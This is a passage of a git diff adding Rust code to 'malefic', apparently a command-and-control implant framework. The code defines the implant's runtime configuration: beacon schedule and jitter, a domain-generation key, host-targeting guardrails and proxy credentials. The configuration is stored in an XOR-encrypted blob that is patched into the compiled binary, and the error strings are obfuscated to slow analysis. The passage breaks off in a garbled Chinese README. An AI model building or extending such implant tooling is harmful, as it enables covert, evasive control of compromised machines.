} + ); + } + + configs + }, + max_packet_length: 0usize, + }); + // Basic configuration + pub static ref CRON: String = RUNTIME_CONFIG.cron.clone(); + pub static ref JITTER: f64 = RUNTIME_CONFIG.jitter; + pub static ref KEEPALIVE: bool = RUNTIME_CONFIG.keepalive; + // Target server fault tolerance configuration + pub static ref RETRY: u32 = RUNTIME_CONFIG.retry; + pub static ref MAX_CYCLES: i32 = RUNTIME_CONFIG.max_cycles; + // Encryption configuration + pub static ref NAME: String = RUNTIME_CONFIG.name.clone(); + pub static ref KEY: Vec = RUNTIME_CONFIG.key.clone(); + // Proxy configuration + pub static ref USE_ENV_PROXY: bool = RUNTIME_CONFIG.use_env_proxy; + pub static ref PROXY_URL: String = RUNTIME_CONFIG.proxy_url.clone(); + pub static ref PROXY_SCHEME: String = RUNTIME_CONFIG.proxy_scheme.clone(); + pub static ref PROXY_HOST: String = RUNTIME_CONFIG.proxy_host.clone(); + pub static ref PROXY_PORT: String = RUNTIME_CONFIG.proxy_port.clone(); + pub static ref PROXY_USERNAME: String = RUNTIME_CONFIG.proxy_username.clone(); + pub static ref PROXY_PASSWORD: String = RUNTIME_CONFIG.proxy_password.clone(); + // DGA configuration + pub static ref DGA_ENABLE: bool = RUNTIME_CONFIG.dga_enable; + pub static ref DGA_KEY: String = RUNTIME_CONFIG.dga_key.clone(); + pub static ref DGA_INTERVAL_HOURS: u32 = RUNTIME_CONFIG.dga_interval_hours; + // Guardrail configuration + pub static ref GUARDRAIL_CONFIG: GuardrailConfig = RUNTIME_CONFIG.guardrail.clone(); + // Multi-server configuration - use Vec to maintain configuration order + pub static ref SERVER_CONFIGS: Vec = RUNTIME_CONFIG.server_configs.clone(); + // Packet chunking configuration + pub static ref MAX_PACKET_LENGTH: usize = RUNTIME_CONFIG.max_packet_length; +} + +#[cfg(feature = "secure")] +lazy_static! { + pub static ref AGE_PRIVATE_KEY: String = String::new(); + pub static ref AGE_PUBLIC_KEY: String = String::new(); +} diff --git a/malefic-crates/config/src/runtime.rs b/malefic-crates/config/src/runtime.rs new file mode 100644 index 0000000..b2251ac --- /dev/null +++ b/malefic-crates/config/src/runtime.rs @@ -0,0 +1,915 @@ +use crate::config::{HttpRequestConfig, RemConfig, SessionConfig, TcpConfig}; +use crate::{ + GuardrailConfig, MTLSConfig, ProtocolType, ProxyConfig, ServerConfig, TlsConfig, + TransportConfig, +}; +use base64::{engine::general_purpose, Engine as _}; +use malefic_common::debug; +use malefic_common::tinyserde::{Error as TinySerdeError, Value, XorCipher}; +use malefic_gateway::obfstr::obfstr; +use malefic_gateway::ObfDebug; +use std::collections::BTreeMap; + +/// ASCII padding used to keep the embedded text at a fixed length for in-place patching. +const PAD_BYTE: u8 = b'#'; +/// Seed used by tinyserde XOR cipher; deterministic and must match the patcher. +const BLOB_KEY_SEED: u64 = 0x6174_7321_4746_434d; + +/// Fixed-length ASCII buffer embedded in the binary for string replacement. +pub const CONFIG_BLOB_TEXT_LEN: usize = 16384; +const CONFIG_BLOB_PREFIX_LEN: usize = 8; +const CONFIG_BLOB_PAYLOAD_LEN: usize = CONFIG_BLOB_TEXT_LEN - CONFIG_BLOB_PREFIX_LEN; + +/// Backwards-compatible alias used by the patching CLI (this is *not* a base64 length anymore). +pub const CONFIG_BLOB_B64_LEN: usize = CONFIG_BLOB_TEXT_LEN; + +#[repr(C, align(16))] +pub struct ConfigBlobText { + prefix: [u8; 8], + payload: [u8; CONFIG_BLOB_PAYLOAD_LEN], +} + +impl ConfigBlobText { + pub const fn new() -> Self { + Self { + // Inline the prefix bytes directly to avoid creating a separate constant in the binary + prefix: *b"CFGv4B64", + payload: [PAD_BYTE; CONFIG_BLOB_PAYLOAD_LEN], + } + } + + #[inline] + pub fn prefix(&self) -> &[u8; 8] { + &self.prefix + } + + #[inline] + pub fn payload(&self) -> &[u8; CONFIG_BLOB_PAYLOAD_LEN] { + &self.payload + } +} + +/// Fixed-length ASCII buffer that can be patched in-place inside the binary. +/// We mark it as `used` and `no_mangle` so LTO keeps it, and the name stays visible. +#[no_mangle] +#[used] +pub static CONFIG_BLOB_TEXT: ConfigBlobText = ConfigBlobText::new(); + +/// Runtime configuration shape; this mirrors the public config values exposed through lazy statics. +#[derive(ObfDebug, Clone, PartialEq)] +pub struct RuntimeConfig { + pub cron: String, + pub jitter: f64, + pub keepalive: bool, + pub retry: u32, + pub max_cycles: i32, + pub name: String, + pub key: Vec, + pub use_env_proxy: bool, + pub proxy_url: String, + pub proxy_scheme: String, + pub proxy_host: String, + pub proxy_port: String, + pub proxy_username: String, + pub proxy_password: String, + pub dga_enable: bool, + pub dga_key: String, + pub dga_interval_hours: u32, + pub guardrail: GuardrailConfig, + pub server_configs: Vec, + /// Maximum packet size for auto-chunking. 0 = disabled (no chunking). + /// Should match server's pipeline packet_length setting. + pub max_packet_length: usize, +} + +#[derive(Debug)] +pub enum BlobError { + Empty, + Utf8(std::str::Utf8Error), + Base64(base64::DecodeError), + BadPrefix, + Oversized(usize), + Deserialize(TinySerdeError), + InvalidFormat(String), +} + +impl std::fmt::Display for BlobError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + BlobError::Empty => f.write_str(obfstr!("config blob is empty")), + BlobError::Utf8(e) => write!(f, "{}: {}", obfstr!("invalid UTF-8 in config blob"), e), + BlobError::Base64(e) => write!(f, "{}: {}", obfstr!("base64 decode failed"), e), + BlobError::BadPrefix => f.write_str(obfstr!("config blob prefix mismatch")), + BlobError::Oversized(n) => write!( + f, + "{} ({} bytes)", + obfstr!("config blob payload too large"), + n + ), + BlobError::Deserialize(e) => { + write!(f, "{}: {}", obfstr!("config deserialization failed"), e) + } + BlobError::InvalidFormat(s) => write!(f, "{}: {}", obfstr!("invalid config field"), s), + } + } +} + +impl std::error::Error for BlobError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + BlobError::Utf8(e) => Some(e), + BlobError::Base64(e) => Some(e), + BlobError::Deserialize(e) => Some(e), + _ => None, + } + } +} + +impl From for BlobError { + fn from(e: std::str::Utf8Error) -> Self { + BlobError::Utf8(e) + } +} + +impl From for BlobError { + fn from(e: base64::DecodeError) -> Self { + BlobError::Base64(e) + } +} + +impl From for BlobError { + fn from(e: TinySerdeError) -> Self { + BlobError::Deserialize(e) + } +} + +// ==================== Encoder helpers (only needed by malefic-mutant) ==================== +#[cfg(feature = "encoder")] +fn value_null() -> Value { + Value::Null +} + +#[cfg(feature = "encoder")] +fn value_str(s: &str) -> Value { + Value::Str(s.to_string()) +} + +#[cfg(feature = "encoder")] +fn value_bool(v: bool) -> Value { + Value::Bool(v) +} + +#[cfg(feature = "encoder")] +fn value_int(v: i64) -> Value { + Value::Int(v) +} + +#[cfg(feature = "encoder")] +fn value_bytes(v: &[u8]) -> Value { + Value::Bytes(v.to_vec()) +} + +#[cfg(feature = "encoder")] +fn value_vec_str(values: &[String]) -> Value { + Value::Seq(values.iter().map(|v| Value::Str(v.clone())).collect()) +} + +#[cfg(feature = "encoder")] +fn value_map(entries: impl IntoIterator) -> Value { + let mut map = BTreeMap::new(); + for (k, v) in entries { + map.insert(k, v); + } + Value::Map(map) +} + +#[cfg(feature = "encoder")] +fn duration_to_millis(duration: std::time::Duration) -> i64 { + i64::try_from(duration.as_millis()).unwrap_or(i64::MAX) +} + +#[cfg(feature = "encoder")] +fn value_duration(duration: std::time::Duration) -> Value { + value_int(duration_to_millis(duration)) +} + +fn map_get<'a>( + map: &'a BTreeMap, + key: impl AsRef, +) -> Result<&'a Value, BlobError> { + let key = key.as_ref(); + map.get(key) + .ok_or_else(|| BlobError::InvalidFormat(key.to_string())) +} + +fn expect_str(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + match v { + Value::Str(s) => Ok(s.clone()), + _ => Err(BlobError::InvalidFormat(key.to_string())), + } +} + +fn expect_bool(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + match v { + Value::Bool(b) => Ok(*b), + _ => Err(BlobError::InvalidFormat(key.to_string())), + } +} + +fn expect_i64(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + match v { + Value::Int(n) => Ok(*n), + _ => Err(BlobError::InvalidFormat(key.to_string())), + } +} + +fn expect_u32(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + let n = expect_i64(v, key)?; + u32::try_from(n).map_err(|_| BlobError::InvalidFormat(key.to_string())) +} + +fn expect_usize(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + let n = expect_i64(v, key)?; + usize::try_from(n).map_err(|_| BlobError::InvalidFormat(key.to_string())) +} + +fn expect_i32(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + let n = expect_i64(v, key)?; + i32::try_from(n).map_err(|_| BlobError::InvalidFormat(key.to_string())) +} + +fn expect_duration(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + let millis = expect_i64(v, key)?; + let millis = u64::try_from(millis).map_err(|_| BlobError::InvalidFormat(key.to_string()))?; + Ok(std::time::Duration::from_millis(millis)) +} + +fn expect_bytes(v: &Value, key: impl AsRef) -> Result, BlobError> { + let key = key.as_ref(); + match v { + Value::Bytes(b) => Ok(b.clone()), + _ => Err(BlobError::InvalidFormat(key.to_string())), + } +} + +fn expect_vec_str(v: &Value, key: impl AsRef) -> Result, BlobError> { + let key = key.as_ref(); + match v { + Value::Seq(seq) => seq + .iter() + .map(|item| match item { + Value::Str(s) => Ok(s.clone()), + _ => Err(BlobError::InvalidFormat(key.to_string())), + }) + .collect(), + _ => Err(BlobError::InvalidFormat(key.to_string())), + } +} + +#[cfg(feature = "encoder")] +fn protocol_to_value(protocol: &ProtocolType) -> Value { + match protocol { + ProtocolType::Tcp => value_str("tcp"), + ProtocolType::Http => value_str("http"), + ProtocolType::REM => value_str("rem"), + ProtocolType::Other(name) => value_str(name), + } +} + +fn protocol_from_value(v: &Value) -> Result { + let s = expect_str(v, obfstr!("protocol"))?; + match s.as_str() { + "tcp" => Ok(ProtocolType::Tcp), + "http" => Ok(ProtocolType::Http), + "rem" => Ok(ProtocolType::REM), + _ => Ok(ProtocolType::Other(s)), + } +} + +#[cfg(feature = "encoder")] +fn transport_to_value(transport: &TransportConfig) -> Value { + match transport { + TransportConfig::Tcp(_tcp) => value_map([("kind".to_string(), value_str("tcp"))]), + TransportConfig::Rem(rem) => value_map([ + ("kind".to_string(), value_str("rem")), + ("link".to_string(), value_str(&rem.link)), + ]), + TransportConfig::Http(http) => { + let mut headers = BTreeMap::new(); + for (k, v) in &http.headers { + headers.insert(k.clone(), Value::Str(v.clone())); + } + Value::Map({ + let mut map = BTreeMap::new(); + map.insert("kind".to_string(), value_str("http")); + map.insert("method".to_string(), value_str(&http.method)); + map.insert("path".to_string(), value_str(&http.path)); + map.insert("version".to_string(), value_str(&http.version)); + map.insert("headers".to_string(), Value::Map(headers)); + map.insert( + "response_read_chunk_size".to_string(), + value_int(http.response_read_chunk_size as i64), + ); + map.insert( + "response_retry_delay_ms".to_string(), + value_duration(http.response_retry_delay), + ); + map + }) + } + TransportConfig::Opaque(kind) => value_map([("kind".to_string(), value_str(kind))]), + } +} + +fn transport_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat( + obfstr!("transport_config").to_string(), + )); + }; + let kind = expect_str(map_get(map, obfstr!("kind"))?, obfstr!("transport_kind"))?; + match kind.as_str() { + "tcp" => Ok(TransportConfig::Tcp(TcpConfig {})), + "rem" => { + let link = expect_str(map_get(map, obfstr!("link"))?, obfstr!("link"))?; + Ok(TransportConfig::Rem(RemConfig::new(link))) + } + "http" => { + let method = expect_str(map_get(map, obfstr!("method"))?, obfstr!("method"))?; + let path = expect_str(map_get(map, obfstr!("path"))?, obfstr!("path"))?; + let version = expect_str(map_get(map, obfstr!("version"))?, obfstr!("version"))?; + let headers_value = map_get(map, obfstr!("headers"))?; + let Value::Map(headers_map) = headers_value else { + return Err(BlobError::InvalidFormat(obfstr!("headers").to_string())); + }; + let mut headers = std::collections::HashMap::new(); + for (k, v) in headers_map { + let Value::Str(s) = v else { + return Err(BlobError::InvalidFormat(obfstr!("headers").to_string())); + }; + headers.insert(k.clone(), s.clone()); + } + let mut http = HttpRequestConfig::new(&method, &path, &version).with_runtime_tuning( + expect_usize( + map_get(map, obfstr!("response_read_chunk_size"))?, + obfstr!("response_read_chunk_size"), + )?, + expect_duration( + map_get(map, obfstr!("response_retry_delay_ms"))?, + obfstr!("response_retry_delay_ms"), + )?, + ); + http.headers = headers; + Ok(TransportConfig::Http(http)) + } + _ => Ok(TransportConfig::Opaque(kind)), + } +} + +#[cfg(feature = "encoder")] +fn session_config_to_value(config: &SessionConfig) -> Value { + value_map([ + ( + "read_chunk_size".to_string(), + value_int(config.read_chunk_size as i64), + ), + ("deadline_ms".to_string(), value_duration(config.deadline)), + ( + "connect_timeout_ms".to_string(), + value_duration(config.connect_timeout), + ), + ("keepalive".to_string(), value_bool(config.keepalive)), + ]) +} + +fn session_config_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat( + obfstr!("session_config").to_string(), + )); + }; + + Ok(SessionConfig { + read_chunk_size: expect_usize( + map_get(map, obfstr!("read_chunk_size"))?, + obfstr!("read_chunk_size"), + )?, + deadline: expect_duration( + map_get(map, obfstr!("deadline_ms"))?, + obfstr!("deadline_ms"), + )?, + connect_timeout: expect_duration( + map_get(map, obfstr!("connect_timeout_ms"))?, + obfstr!("connect_timeout_ms"), + )?, + keepalive: expect_bool(map_get(map, obfstr!("keepalive"))?, obfstr!("keepalive"))?, + }) +} + +#[cfg(feature = "encoder")] +fn mtls_to_value(mtls: &MTLSConfig) -> Value { + value_map([ + ("enable".to_string(), value_bool(mtls.enable)), + ("client_cert".to_string(), value_bytes(&mtls.client_cert)), + ("client_key".to_string(), value_bytes(&mtls.client_key)), + ("server_ca".to_string(), value_bytes(&mtls.server_ca)), + ]) +} + +fn mtls_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat(obfstr!("mtls_config").to_string())); + }; + Ok(MTLSConfig { + enable: expect_bool(map_get(map, obfstr!("enable"))?, obfstr!("enable"))?, + client_cert: expect_bytes( + map_get(map, obfstr!("client_cert"))?, + obfstr!("client_cert"), + )?, + client_key: expect_bytes(map_get(map, obfstr!("client_key"))?, obfstr!("client_key"))?, + server_ca: expect_bytes(map_get(map, obfstr!("server_ca"))?, obfstr!("server_ca"))?, + }) +} + +#[cfg(feature = "encoder")] +fn tls_to_value(tls: &TlsConfig) -> Value { + let mtls_value = tls + .mtls_config + .as_ref() + .map(mtls_to_value) + .unwrap_or_else(value_null); + value_map([ + ("enable".to_string(), value_bool(tls.enable)), + ("version".to_string(), value_str(&tls.version)), + ("sni".to_string(), value_str(&tls.sni)), + ( + "skip_verification".to_string(), + value_bool(tls.skip_verification), + ), + ("server_ca".to_string(), value_bytes(&tls.server_ca)), + ("mtls_config".to_string(), mtls_value), + ]) +} + +fn tls_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat(obfstr!("tls_config").to_string())); + }; + let mtls_value = map_get(map, obfstr!("mtls_config"))?; + let mtls_config = match mtls_value { + Value::Null => None, + other => Some(mtls_from_value(other)?), + }; + // server_ca is optional - default to empty vec if not present + let server_ca = match map_get(map, obfstr!("server_ca")) { + Ok(v) => expect_bytes(v, obfstr!("server_ca")).unwrap_or_default(), + Err(_) => Vec::new(), + }; + Ok(TlsConfig { + enable: expect_bool(map_get(map, obfstr!("enable"))?, obfstr!("enable"))?, + version: expect_str(map_get(map, obfstr!("version"))?, obfstr!("version"))?, + sni: expect_str(map_get(map, obfstr!("sni"))?, obfstr!("sni"))?, + skip_verification: expect_bool( + map_get(map, obfstr!("skip_verification"))?, + obfstr!("skip_verification"), + )?, + server_ca, + mtls_config, + }) +} + +#[cfg(feature = "encoder")] +fn proxy_to_value(proxy: &ProxyConfig) -> Value { + value_map([ + ("proxy_type".to_string(), value_str(&proxy.proxy_type)), + ("host".to_string(), value_str(&proxy.host)), + ("port".to_string(), value_int(proxy.port as i64)), + ("username".to_string(), value_str(&proxy.username)), + ("password".to_string(), value_str(&proxy.password)), + ]) +} + +fn proxy_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat( + obfstr!("proxy_config").to_string(), + )); + }; + Ok(ProxyConfig { + proxy_type: expect_str(map_get(map, obfstr!("proxy_type"))?, obfstr!("proxy_type"))?, + host: expect_str(map_get(map, obfstr!("host"))?, obfstr!("host"))?, + port: u16::try_from(expect_i64(map_get(map, obfstr!("port"))?, obfstr!("port"))?) + .map_err(|_| BlobError::InvalidFormat(obfstr!("port").to_string()))?, + username: expect_str(map_get(map, obfstr!("username"))?, obfstr!("username"))?, + password: expect_str(map_get(map, obfstr!("password"))?, obfstr!("password"))?, + }) +} + +#[cfg(feature = "encoder")] +fn guardrail_to_value(guardrail: &GuardrailConfig) -> Value { + value_map([ + ( + "ip_addresses".to_string(), + value_vec_str(&guardrail.ip_addresses), + ), + ("usernames".to_string(), value_vec_str(&guardrail.usernames)), + ( + "server_names".to_string(), + value_vec_str(&guardrail.server_names), + ), + ("domains".to_string(), value_vec_str(&guardrail.domains)), + ("require_all".to_string(), value_bool(guardrail.require_all)), + ]) +} + +fn guardrail_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat(obfstr!("guardrail").to_string())); + }; + Ok(GuardrailConfig { + ip_addresses: expect_vec_str( + map_get(map, obfstr!("ip_addresses"))?, + obfstr!("ip_addresses"), + )?, + usernames: expect_vec_str(map_get(map, obfstr!("usernames"))?, obfstr!("usernames"))?, + server_names: expect_vec_str( + map_get(map, obfstr!("server_names"))?, + obfstr!("server_names"), + )?, + domains: expect_vec_str(map_get(map, obfstr!("domains"))?, obfstr!("domains"))?, + require_all: expect_bool( + map_get(map, obfstr!("require_all"))?, + obfstr!("require_all"), + )?, + }) +} + +#[cfg(feature = "encoder")] +fn server_config_to_value(cfg: &ServerConfig) -> Value { + let tls_value = cfg + .tls_config + .as_ref() + .map(tls_to_value) + .unwrap_or_else(value_null); + let proxy_value = cfg + .proxy_config + .as_ref() + .map(proxy_to_value) + .unwrap_or_else(value_null); + let domain_value = cfg + .domain_suffix + .as_ref() + .map(|s| value_str(s)) + .unwrap_or_else(value_null); + + Value::Map({ + let mut map = BTreeMap::new(); + map.insert("address".to_string(), value_str(&cfg.address)); + map.insert("protocol".to_string(), protocol_to_value(&cfg.protocol)); + map.insert( + "session_config".to_string(), + session_config_to_value(&cfg.session_config), + ); + map.insert( + "transport_config".to_string(), + transport_to_value(&cfg.transport_config), + ); + map.insert("tls_config".to_string(), tls_value); + map.insert("proxy_config".to_string(), proxy_value); + map.insert("domain_suffix".to_string(), domain_value); + map + }) +} + +fn server_config_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat( + obfstr!("server_config").to_string(), + )); + }; + let tls_value = map_get(map, obfstr!("tls_config"))?; + let tls_config = match tls_value { + Value::Null => None, + other => Some(tls_from_value(other)?), + }; + let proxy_value = map_get(map, obfstr!("proxy_config"))?; + let proxy_config = match proxy_value { + Value::Null => None, + other => Some(proxy_from_value(other)?), + }; + let domain_value = map_get(map, obfstr!("domain_suffix"))?; + let domain_suffix = match domain_value { + Value::Null => None, + Value::Str(s) => Some(s.clone()), + _ => { + return Err(BlobError::InvalidFormat( + obfstr!("domain_suffix").to_string(), + )) + } + }; + Ok(ServerConfig { + address: expect_str(map_get(map, obfstr!("address"))?, obfstr!("address"))?, + protocol: protocol_from_value(map_get(map, obfstr!("protocol"))?)?, + session_config: session_config_from_value(map_get(map, obfstr!("session_config"))?)?, + transport_config: transport_from_value(map_get(map, obfstr!("transport_config"))?)?, + tls_config, + proxy_config, + domain_suffix, + }) +} + +#[cfg(feature = "encoder")] +fn runtime_to_value(cfg: &RuntimeConfig) -> Value { + Value::Map({ + let mut map = BTreeMap::new(); + map.insert("cron".to_string(), value_str(&cfg.cron)); + map.insert("jitter".to_string(), Value::Float(cfg.jitter)); + map.insert("keepalive".to_string(), value_bool(cfg.keepalive)); + map.insert("retry".to_string(), value_int(cfg.retry as i64)); + map.insert("max_cycles".to_string(), value_int(cfg.max_cycles as i64)); + map.insert("name".to_string(), value_str(&cfg.name)); + map.insert("key".to_string(), value_bytes(&cfg.key)); + map.insert("use_env_proxy".to_string(), value_bool(cfg.use_env_proxy)); + map.insert("proxy_url".to_string(), value_str(&cfg.proxy_url)); + map.insert("proxy_scheme".to_string(), value_str(&cfg.proxy_scheme)); + map.insert("proxy_host".to_string(), value_str(&cfg.proxy_host)); + map.insert("proxy_port".to_string(), value_str(&cfg.proxy_port)); + map.insert("proxy_username".to_string(), value_str(&cfg.proxy_username)); + map.insert("proxy_password".to_string(), value_str(&cfg.proxy_password)); + map.insert("dga_enable".to_string(), value_bool(cfg.dga_enable)); + map.insert("dga_key".to_string(), value_str(&cfg.dga_key)); + map.insert( + "dga_interval_hours".to_string(), + value_int(cfg.dga_interval_hours as i64), + ); + map.insert("guardrail".to_string(), guardrail_to_value(&cfg.guardrail)); + map.insert( + "server_configs".to_string(), + Value::Seq( + cfg.server_configs + .iter() + .map(server_config_to_value) + .collect(), + ), + ); + map.insert( + "max_packet_length".to_string(), + value_int(cfg.max_packet_length as i64), + ); + map + }) +} + +fn runtime_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat( + obfstr!("runtime_config").to_string(), + )); + }; + Ok(RuntimeConfig { + cron: expect_str(map_get(map, obfstr!("cron"))?, obfstr!("cron"))?, + jitter: match map_get(map, obfstr!("jitter"))? { + Value::Float(f) => *f, + _ => return Err(BlobError::InvalidFormat(obfstr!("jitter").to_string())), + }, + keepalive: expect_bool(map_get(map, obfstr!("keepalive"))?, obfstr!("keepalive"))?, + retry: expect_u32(map_get(map, obfstr!("retry"))?, obfstr!("retry"))?, + max_cycles: expect_i32(map_get(map, obfstr!("max_cycles"))?, obfstr!("max_cycles"))?, + name: expect_str(map_get(map, obfstr!("name"))?, obfstr!("name"))?, + key: expect_bytes(map_get(map, obfstr!("key"))?, obfstr!("key"))?, + use_env_proxy: expect_bool( + map_get(map, obfstr!("use_env_proxy"))?, + obfstr!("use_env_proxy"), + )?, + proxy_url: expect_str(map_get(map, obfstr!("proxy_url"))?, obfstr!("proxy_url"))?, + proxy_scheme: expect_str( + map_get(map, obfstr!("proxy_scheme"))?, + obfstr!("proxy_scheme"), + )?, + proxy_host: expect_str(map_get(map, obfstr!("proxy_host"))?, obfstr!("proxy_host"))?, + proxy_port: expect_str(map_get(map, obfstr!("proxy_port"))?, obfstr!("proxy_port"))?, + proxy_username: expect_str( + map_get(map, obfstr!("proxy_username"))?, + obfstr!("proxy_username"), + )?, + proxy_password: expect_str( + map_get(map, obfstr!("proxy_password"))?, + obfstr!("proxy_password"), + )?, + dga_enable: expect_bool(map_get(map, obfstr!("dga_enable"))?, obfstr!("dga_enable"))?, + dga_key: expect_str(map_get(map, obfstr!("dga_key"))?, obfstr!("dga_key"))?, + dga_interval_hours: expect_u32( + map_get(map, obfstr!("dga_interval_hours"))?, + obfstr!("dga_interval_hours"), + )?, + guardrail: guardrail_from_value(map_get(map, obfstr!("guardrail"))?)?, + server_configs: { + let server_configs_value = map_get(map, obfstr!("server_configs"))?; + let Value::Seq(seq) = server_configs_value else { + return Err(BlobError::InvalidFormat( + obfstr!("server_configs").to_string(), + )); + }; + seq.iter() + .map(server_config_from_value) + .collect::, _>>()? + }, + max_packet_length: map + .get(obfstr!("max_packet_length")) + .and_then(|v| match v { + Value::Int(n) => Some(*n as usize), + _ => None, + }) + .unwrap_or(0), + }) +} + +/// Load runtime configuration from the embedded blob (if present), otherwise return `fallback`. +pub fn load_runtime_config(fallback: RuntimeConfig) -> RuntimeConfig { + if let Some(raw) = read_patched_payload() { + match decode_runtime_config_str(&raw) { + Ok(cfg) => return cfg, + Err(_err) => { + debug!("[config] Failed to decode runtime config blob: {:?}", _err); + } + } + } + + fallback +} + +/// Create a fixed-length ASCII string (4096 bytes) that fits exactly in the embedded buffer. +/// Format: `CFGv3B64` + base64(encrypted tinyserde bytes) + `#` padding. +#[cfg(feature = "encoder")] +pub fn encode_runtime_config(config: &RuntimeConfig) -> Result { + let cipher = XorCipher::new(BLOB_KEY_SEED); + let encrypted = runtime_to_value(config).to_bytes_encrypted(&cipher); + let b64 = general_purpose::STANDARD.encode(encrypted); + if b64.len() > CONFIG_BLOB_PAYLOAD_LEN { + return Err(BlobError::Oversized(b64.len())); + } + + let mut out = String::with_capacity(CONFIG_BLOB_TEXT_LEN); + // out.push_str(std::str::from_utf8(&CONFIG_BLOB_PREFIX).expect("prefix utf8")); + out.push_str(std::str::from_utf8(CONFIG_BLOB_TEXT.prefix()).expect("prefix utf8")); + out.push_str(&b64); + if out.len() < CONFIG_BLOB_TEXT_LEN { + out.extend(std::iter::repeat(PAD_BYTE as char).take(CONFIG_BLOB_TEXT_LEN - out.len())); + } + Ok(out) +} + +/// Decode runtime configuration from the fixed-length text produced by `encode_runtime_config`. +pub fn decode_runtime_config_str(text: &str) -> Result { + let trimmed = text + .trim_end_matches(PAD_BYTE as char) + .trim_end_matches('\0') + .trim(); + debug!("[config] trim text {:?}", trimmed); + if trimmed.is_empty() { + return Err(BlobError::Empty); + } + // let Some(rest) = trimmed.strip_prefix(std::str::from_utf8(&CONFIG_BLOB_PREFIX).expect("prefix utf8")) else { + let Some(rest) = + trimmed.strip_prefix(std::str::from_utf8(CONFIG_BLOB_TEXT.prefix()).expect("prefix utf8")) + else { + return Err(BlobError::BadPrefix); + }; + if rest.is_empty() { + return Err(BlobError::Empty); + } + let cipher_bytes = general_purpose::STANDARD.decode(rest)?; + decode_runtime_config_bytes(&cipher_bytes) +} + +/// Decode runtime configuration from encrypted bytes (after base64 decoding). +pub fn decode_runtime_config_bytes(cipher_bytes: &[u8]) -> Result { + let value = Value::from_bytes_encrypted(cipher_bytes, &XorCipher::new(BLOB_KEY_SEED))?; + runtime_from_value(&value) +} + +// Runtime-mutable transport key (overrides static KEY when set via switch) +static RUNTIME_KEY: std::sync::OnceLock>>> = + std::sync::OnceLock::new(); + +fn runtime_key_lock() -> &'static std::sync::Mutex>> { + RUNTIME_KEY.get_or_init(|| std::sync::Mutex::new(None)) +} + +/// Update the transport symmetric key at runtime (called by switch). +pub fn update_runtime_key(key: Vec) { + if let Ok(mut guard) = runtime_key_lock().lock() { + *guard = Some(key); + } +} + +/// Get the current transport key (runtime override or static KEY). +pub fn get_transport_key() -> Vec { + if let Ok(guard) = runtime_key_lock().lock() { + if let Some(ref key) = *guard { + return key.clone(); + } + } + crate::KEY.clone() +} + +fn read_patched_payload() -> Option { + let mut buf = Vec::with_capacity(CONFIG_BLOB_TEXT_LEN); + buf.extend_from_slice(CONFIG_BLOB_TEXT.prefix()); + buf.extend_from_slice(CONFIG_BLOB_TEXT.payload()); + + let mut end = buf.len(); + while end > 0 && (buf[end - 1] == PAD_BYTE || buf[end - 1] == 0) { + end -= 1; + } + + if end == 0 { + return None; + } + + let trimmed = &buf[..end]; + let as_str = std::str::from_utf8(trimmed).ok()?; + Some(as_str.to_string()) +} + +#[cfg(all(test, feature = "encoder"))] +mod tests { + use super::*; + + fn sample_config() -> RuntimeConfig { + RuntimeConfig { + cron: "*/5 * * * * * *".into(), + jitter: 0.2, + keepalive: true, + retry: 3, + max_cycles: -1, + name: "demo".into(), + key: b"demo-key".to_vec(), + use_env_proxy: false, + proxy_url: "".into(), + proxy_scheme: "".into(), + proxy_host: "".into(), + proxy_port: "".into(), + proxy_username: "".into(), + proxy_password: "".into(), + dga_enable: false, + dga_key: "".into(), + dga_interval_hours: 2, + guardrail: GuardrailConfig { + ip_addresses: vec![], + usernames: vec![], + server_names: vec![], + domains: vec![], + require_all: true, + }, + server_configs: vec![{ + let transport_config = + TransportConfig::Http(HttpRequestConfig::new("POST", "/", "1.1")); + ServerConfig { + address: "example.com:443".into(), + protocol: ProtocolType::Http, + session_config: SessionConfig::default_for_transport(&transport_config, true), + transport_config, + tls_config: Some(TlsConfig { + enable: true, + version: "auto".into(), + sni: "example.com".into(), + skip_verification: true, + server_ca: Vec::new(), + mtls_config: None, + }), + proxy_config: None, + domain_suffix: None, + } + }], + } + } + + #[test] + fn round_trip_encoding() { + let config = sample_config(); + let encoded = encode_runtime_config(&config).expect("encode"); + assert_eq!(encoded.len(), CONFIG_BLOB_B64_LEN); + + let decoded = decode_runtime_config_str(&encoded).expect("decode"); + assert_eq!(decoded, config); + } + + #[test] + fn rejects_bad_prefix() { + let config = sample_config(); + let encoded = encode_runtime_config(&config).expect("encode"); + let mut corrupted = encoded.into_bytes(); + corrupted[0] = b'X'; + let corrupted = String::from_utf8(corrupted).expect("utf8"); + let result = decode_runtime_config_str(&corrupted); + assert!(matches!(result, Err(BlobError::BadPrefix))); + } +} diff --git a/malefic-crates/cron/Cargo.toml b/malefic-crates/cron/Cargo.toml new file mode 100644 index 0000000..4c3da2f --- /dev/null +++ b/malefic-crates/cron/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "malefic-cron" +version = "0.1.0" +edition = "2021" + +[dependencies] +cron = { version = "0.15", default-features = false } +chrono = { workspace = true } +malefic-common = { workspace = true } diff --git a/malefic-crates/cron/README.md b/malefic-crates/cron/README.md new file mode 100644 index 0000000..73b13ff --- /dev/null +++ b/malefic-crates/cron/README.md @@ -0,0 +1,76 @@ +# malefic-cron + +è½»é‡çº§ cron 调度器,基于标准 cron 